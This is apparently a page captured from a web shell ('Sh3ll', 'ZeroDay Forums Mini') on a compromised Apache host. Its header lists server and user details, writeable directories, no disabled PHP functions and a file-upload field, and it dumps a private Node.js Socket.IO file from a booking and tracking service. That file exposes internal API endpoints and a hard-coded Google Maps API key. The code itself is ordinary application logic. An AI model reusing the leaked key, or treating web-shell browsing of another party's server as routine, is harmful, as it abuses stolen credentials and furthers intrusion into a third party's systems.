Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/dev-test/node-socket/sockets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/dev-test/node-socket/sockets/index.js
const moment = require("moment");
const db = require("../config/db"); // import DB connection here
const redis = require("../config/redis");
const axios = require("axios");

// const fetch = require("node-fetch"); // Make sure this is installed
const GOOGLE_API_KEY = "AIzaSyBKNCp4bzgPwiGlg62ZOraLUb8zQB8UaBE"; // Replace with your key

function socketHandler(io) {
    return async (socket) => {
        const allOnlineUsers = await redis.hgetall("users");
        // console.log("socket users:", JSON.stringify(allOnlineUsers, null, 2));

        socket.on("register", async (data) => {
            const { userId, role, bookingId, providerId, bookingLat, bookingLng } = data;
            socket.userId = userId;
            socket.role = role;
            // users[data.userId] = socket.id;
            await redis.hset("users", userId, socket.id);
            console.log(`User registered → userId=${userId}, socket=${socket.id}`);

            /**
             * -----------------------------
             * CUSTOMER OPENS LIVE TRACKING
             * -----------------------------
             */
            if (role === "customer") {
                if (bookingId && providerId) {

                    const providerListKey = `providerBookings:${providerId}`;

                    const existingBookings = await redis.lrange(providerListKey, 0, -1);

                    if (existingBookings.length) {
                        const deletePromises = existingBookings.map(id => redis.del(`booking:${id}`));
                        await Promise.all(deletePromises);
                    }

                    await redis.del(providerListKey);

                    await redis.hmset(`booking:${bookingId}`, {
                        bookingId,   // IMPORTANT!
                        providerId,
                        customerId: userId,
                        lat: bookingLat,
                        lng: bookingLng
                    });


                    await redis.lpush(providerListKey, bookingId);

                    console.log(`All previous bookings cleared. New booking saved → provider ${providerId}, booking ${bookingId}`);
                }
            }

            /**
             * -----------------------------
             * PROVIDER CONNECTS
             * -----------------------------
             */
            if (role === "provider") {
                socket.userId = userId;
                console.log(`Provider connected: ${userId}`);
            }
        });

        socket.on("providerLocation", async (data) => {
            const providerId = socket.userId;
            const { lat, lng } = data;

            await redis.hmset(`providerLastLocation:${providerId}`, {
                lat,
                lng,
                lastUpdateAt: Date.now()
            });

            // console.log(`[DEBUG] Received location from provider ${providerId}: ${lat}, ${lng}`);

            // --- Get bookings for this provider ---
            const providerListKey = `providerBookings:${providerId}`;
            const bookingIds = await redis.lrange(providerListKey, 0, -1);

            // console.log(`[DEBUG] Booking IDs in Redis for provider ${providerId}:`, bookingIds);

            if (!bookingIds.length) {
                // console.log("[DEBUG] No active bookings in Redis for this provider");
                return;
            }

            // Use first booking
            const bookingId = bookingIds[0];
            const booking = await redis.hgetall(`booking:${bookingId}`);
            // console.log(`[DEBUG] Booking data fetched from Redis for booking ${bookingId}:`, booking);

            if (!booking || !booking.bookingId) {
                console.log("[DEBUG] Booking not found or missing bookingId in Redis");
                return;
            }

            // --- Get customer socket ---
            const customerSocketId = await redis.hget("users", booking.customerId);
            if (!customerSocketId) {
                // console.log("[DEBUG] Customer socket not found. Customer might be offline.");
                return;
            }

            // --- ETA state ---
            const etaKey = `eta:${providerId}:${bookingId}`;
            let state = await redis.hgetall(etaKey);

            if (!state || !state.initialFetched) {
                state = {
                    lastETA: 0,
                    lastCallAt: 0,
                    initialFetched: false,
                    apiCallCount: 0,
                    maxApiCallCount: 5
                };
            } else {
                state = {
                    lastETA: parseInt(state.lastETA),
                    lastCallAt: parseInt(state.lastCallAt),
                    apiCallCount: parseInt(state.apiCallCount),
                    maxApiCallCount: parseInt(state.maxApiCallCount),
                    initialFetched: state.initialFetched === "true"
                };
            }

            const nowTs = Date.now();
            const secondsSinceLastCall = (nowTs - state.lastCallAt) / 1000;

            // Decide whether to call Google Maps API
            let shouldCallAPI = false;
            if (!state.initialFetched) {
                shouldCallAPI = true; // First time
            } else {
                shouldCallAPI = secondsSinceLastCall >= (state.lastETA / 5);
            }

            // console.log(`[DEBUG] shouldCallAPI: ${shouldCallAPI}, apiCallCount: ${state.apiCallCount}, maxApiCallCount: ${state.maxApiCallCount}`);

            // --- Calculate ETA to send ---
            let etaToSend = state.lastETA;

            if (shouldCallAPI && state.apiCallCount < state.maxApiCallCount) {
                try {
                    // console.log(`[DEBUG] Calling Google Maps API for booking ${bookingId}`);

                    const response = await fetch(
                        `https://maps.googleapis.com/maps/api/directions/json?origin=${lat},${lng}&destination=${booking.lat},${booking.lng}&mode=driving&key=${GOOGLE_API_KEY}`
                    );
                    const mapData = await response.json();
                    console.log(mapData)
                    const leg = mapData?.routes?.[0]?.legs?.[0];
                    const etaSec = leg?.duration?.value || 900;

                    // console.log(`[DEBUG] Google Maps ETA for booking ${bookingId}: ${etaSec} seconds`);

                    // First-time API call setup
                    if (!state.initialFetched) {
                        let interval = 60;
                        if (etaSec > 800) interval = 180;
                        else if (etaSec > 400) interval = 120;
                        else if (etaSec > 200) interval = 60;
                        else if (etaSec > 60) interval = 30;
                        else interval = 15;

                        state.maxApiCallCount = Math.ceil(etaSec / interval);
                    }

                    // Update state
                    state.lastETA = etaSec;
                    state.lastCallAt = nowTs;
                    state.apiCallCount++;
                    state.initialFetched = true;

                    await redis.hmset(etaKey, {
                        lastETA: state.lastETA,
                        lastCallAt: state.lastCallAt,
                        initialFetched: true,
                        apiCallCount: state.apiCallCount,
                        maxApiCallCount: state.maxApiCallCount
                    });

                    etaToSend = etaSec;
                } catch (error) {
                    console.error("[ERROR] Google Maps API call failed:", error);
                    // Fallback: reduce ETA by time passed since last call
                    etaToSend = Math.max(0, state.lastETA - Math.floor(secondsSinceLastCall));
                }
            } else {
                // Reduce ETA based on elapsed time since last API call
                etaToSend = Math.max(0, state.lastETA - Math.floor(secondsSinceLastCall));
                // console.log(`[DEBUG] Not calling API, sending decremented ETA: ${etaToSend}`);
            }

            // --- Determine status ---
            let status = "unknown";
            if (etaToSend <= 10) status = "reached";
            else if (etaToSend <= 60) status = "arriving";
            else if (etaToSend <= 300) status = "near";
            else if (etaToSend <= 600) status = "approaching";
            else status = "far";

            // Generate customer-friendly message
            let message = "";
            switch (status) {
                case "reached":
                    message = "Provider has arrived at your location.";
                     /* ASYNC Send Noti (DO NOT AWAIT) */
                    sendNotificationAsync(booking.customerId, message,'Service provider tracking');
                    break;
                case "arriving":
                    message = "Provider is arriving shortly.";
                    break;
                case "near":
                    message = "Provider is nearby.";
                    break;
                case "approaching":
                    message = "Provider is approaching.";
                    break;
                case "far":
                    message = "Provider is on the way.";
                    break;
                default:
                    message = "Provider location is being tracked.";
            }

            // --- Emit updated location & ETA to customer ---
            io.to(customerSocketId).emit("providerLocationUpdate", {
                providerId,
                bookingId,
                lat,
                lng,
                eta: {
                    minutes: Math.floor(etaToSend / 60),
                    seconds: etaToSend % 60,
                    totalSec: etaToSend,
                    status: status,
                    message: message
                }
            });

            // console.log(`[DEBUG] Sent location & ETA ${etaToSend} sec to customer ${booking.customerId} for booking ${bookingId}`);

            // --- Check if provider reached ---
            if (etaToSend <= 10) {
                await redis.del(`booking:${bookingId}`);
                await redis.lrem(providerListKey, 1, bookingId);
                await redis.del(etaKey);

                // console.log(`[DEBUG] Booking ${bookingId} completed and removed from Redis`);
            }
        });

        // Respond to book requests
        socket.on("respond-book-request", async (data) => {
            console.log('respond-book-request:', data)
            const users = await redis.hgetall("users");
            console.log('All redis user',users)
            let customerSocket = users[data.customer_id];
            console.log(customerSocket);

            if (customerSocket) {
                if (data.clickedFrom === 'profileModal') {
                    io.to(customerSocket).emit("respond-book-request-client-modal", data);
                } else {
                    console.log(data,'To Listen',customerSocket)
                    io.to(customerSocket).emit("respond-book-request-client", data);
                }
            }
        });

        socket.on("expire-req", async (data) => {
            console.log(data)
            const users = await redis.hgetall("users");
            let customerSocket = users[data.customer_id];
            if (customerSocket) {
                io.to(customerSocket).emit("expire-req-client", data);
            }
        });

        // New Event: Fetch latest & past book requests
        socket.on("get-latest-book-req", async (data) => {
            console.log(data);
            const users = await redis.hgetall("users");
            let customerSocket = users[data.service_provider];
            if (customerSocket) {
                io.to(customerSocket).emit("get-latest-book-req-response", data);
            }
            try {
                const service_provider = data.service_provider;
                const now = moment().utc().format("YYYY-MM-DD HH:mm:ss");

                // === 1️⃣ Get latest active request ===
                const activeQuery = `SELECT * FROM book_requests WHERE service_provider = ? AND status = 0 AND req_expire > ? ORDER BY created_at DESC LIMIT 1`;
                const [activeResults] = await db.promise().query(activeQuery, [service_provider, now]);

                let activeReq = activeResults.length ? activeResults[0] : null;

                if (activeReq) {
                    // Parse booking JSON
                    if (activeReq.booking && typeof activeReq.booking === "string") {
                        try {
                            activeReq.booking = JSON.parse(activeReq.booking);
                        } catch (e) {
                            activeReq.booking = null;
                        }
                    }

                    // Calculate remaining seconds
                    const expireTime = moment(activeReq.req_expire);
                    const diffSeconds = expireTime.diff(moment(now), "seconds");
                    activeReq.remaining_time_sec = diffSeconds > 0 ? diffSeconds : 0;
                }

                // === 2️⃣ Get past/expired requests (last 5 days) ===
                const fiveDaysAgo = moment(now).subtract(5, "days").format("YYYY-MM-DD HH:mm:ss");
                const pastQuery = `
                    SELECT * FROM book_requests
                    WHERE service_provider = ?
                    AND (
                        req_expire <= ? OR status = 3
                    )
                    AND created_at BETWEEN ? AND ?
                    ORDER BY created_at DESC
                `;
                const [pastResults] = await db.promise().query(pastQuery, [
                    service_provider,
                    now,
                    fiveDaysAgo,
                    now,
                ]);

                // Parse JSON for all past requests
                const pastRequest = pastResults.map((req) => {
                    if (req.booking && typeof req.booking === "string") {
                        try {
                            req.booking = JSON.parse(req.booking);
                        } catch (e) {
                            req.booking = null;
                        }
                    }
                    return req;
                });

                // === 3️⃣ Emit back to socket ===
                io.to(socket.id).emit("get-latest-book-req-response", {
                    success: true,
                    message: "Requests fetched successfully!",
                    activeRequest: activeReq ? [activeReq] : [],
                    pastRequest: pastRequest,
                });
            } catch (error) {
                console.error("Error fetching book requests:", error);
                io.to(socket.id).emit("get-latest-book-req-response", {
                    success: false,
                    message: "Something went wrong while fetching book requests.",
                    error: error.message,
                });
            }
        });

        // -----------------------------------
        // SEND CHAT MESSAGE (redis users)
        // -----------------------------------

        socket.on("joinConversation", async ({ conversation_id, user_id }) => {
            const room = `conversation_${conversation_id}`;
            socket.join(room);

            // Optional tracking
            await redis.hset(`conversation:${conversation_id}`, user_id, socket.id);

            console.log(`User ${user_id} joined ${room}`);
        });

        // -----------------------------------
        // TYPING INDICATOR
        // -----------------------------------
        socket.on("typing", async ({ conversation_id, user_id, sender_name }) => {
            const room = `conversation_${conversation_id}`;

            // Broadcast to others (not sender)
            socket.to(room).emit("typing", {
                user_id,
                sender_name,
                conversation_id
            });
        });

        socket.on("stopTyping", async ({ conversation_id, user_id }) => {
            const room = `conversation_${conversation_id}`;

            socket.to(room).emit("stopTyping", {
                user_id,
                conversation_id
            });
        });

        socket.on("sendChatMessage", async (data) => {
            console.log(data)
            const { sender_name, sender_id, message, conversation_id, avatar } = data;

            if (!sender_id || !conversation_id || !message) return;

            const payload = {
                sender_id,
                sender_name,
                message,
                conversation_id,
                avatar,
                timestamp: new Date()
            };

            const room = `conversation_${conversation_id}`;

            io.to(room).emit("newChatMessage", payload);

            // Update conversation list for all participants
            const participants = await redis.hkeys(`conversation:${conversation_id}`);
            console.log(participants)
            participants.forEach(async (participant_id) => {
            const socketId = await redis.hget(`conversation:${conversation_id}`, participant_id);
            console.log(participant_id, socketId);
                
            if (socketId) {
                try {
                    // Call your Laravel route
                    const res = await fetch(`https://dev-test.tradze.com/api/socket/messages?user_id=${participant_id}`);
                    const convList = await res.json();
                    // console.log(socketId,participant_id,convList)
                
                    // Emit updated conversation list to this participant
                    io.to(socketId).emit("updateConversationList", convList);
                
                } catch (err) {
                    console.error("Failed to fetch conversation list:", err);
                }
            }
        });

            /* ASYNC SAVE (DO NOT AWAIT) */
            saveMessageAsync(conversation_id, sender_id, message);

        });

        // -----------------------------------
        // ON DISCONNECT → REMOVE SOCKET
        // -----------------------------------
        socket.on("disconnect", async () => {
            console.log("User disconnected:", socket.id);

            const usersMap = await redis.hgetall("users");

            for (const [uid, sock] of Object.entries(usersMap)) {
                if (sock === socket.id) {
                    await redis.hdel("users", uid);

                    // ALSO emit stopTyping (important fix)
                    socket.broadcast.emit("stopTyping", {
                        user_id: uid
                    });

                    console.log(`Removed user ${uid} from Redis`);
                }
            }
        });
    };
}

module.exports = socketHandler;

// export accessor so controllers always get latest users
// module.exports.getUsers = () => users;
module.exports.getUsers = async () => {
    return await redis.hgetall("users");
}

function saveMessageAsync(conversationId, senderId, message) {
    console.log('sent to laravel db')
    axios.post(
        `https://dev-test.tradze.com/api/socket/save-message-node/${conversationId}`,
        {
            sender_id: senderId,
            message: message
        },
        {
            timeout: 10000, // protect Node
            headers: {
                "Content-Type": "application/json",
                "Accept": "application/json"
            }
        }
    ).then(res => console.log(res.data))
    .catch(err => {
        // IMPORTANT: NEVER crash socket server
        console.error("Laravel save failed:", err);

        // Optional: push to retry queue (Redis / Bull)
    });
}

function sendNotificationAsync(userId, message, notificationHead = 'Tradze') {
    console.log('Called send push notification')
    axios.post(
        `https://dev-test.tradze.com/api/send-push-noti`,
        {
            userId: userId,
            message: message,
            notificationHead: notificationHead
        },
        {
            timeout: 10000, // protect Node
            headers: {
                "Content-Type": "application/json",
                "Accept": "application/json"
            }
        }
    ).then(res => console.log(res.data))
        .catch(err => {
            // IMPORTANT: NEVER crash socket server
            console.error("Laravel save failed:", err);

            // Optional: push to retry queue (Redis / Bull)
        });
}

ZeroDay Forums Mini